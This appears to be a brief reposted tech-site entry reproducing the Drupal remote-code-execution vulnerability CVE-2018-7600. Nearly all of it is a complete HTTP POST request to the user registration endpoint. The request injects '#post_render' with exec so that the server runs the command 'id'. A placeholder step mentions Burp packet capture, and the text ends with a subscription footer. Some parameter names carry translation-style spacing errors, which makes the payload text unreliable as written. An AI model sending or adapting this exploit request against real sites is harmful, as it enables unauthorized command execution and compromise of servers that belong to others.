Shulou(Shulou.com)06/01 Report--

Recurrence of vulnerabilities:

1. Referring to a2u / CVE-2018-7600, we can send the following request to drupal:

POST / user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1

Host: your-ip:8080

Accept-Encoding: gzip, deflate

Accept: /

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 103

Form_id=user_register_form&_drupal_ajax=1&mail [# post_render] [] = exec&mail [# type] = markup&mail [# markup] = id

2.burp packet capture

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.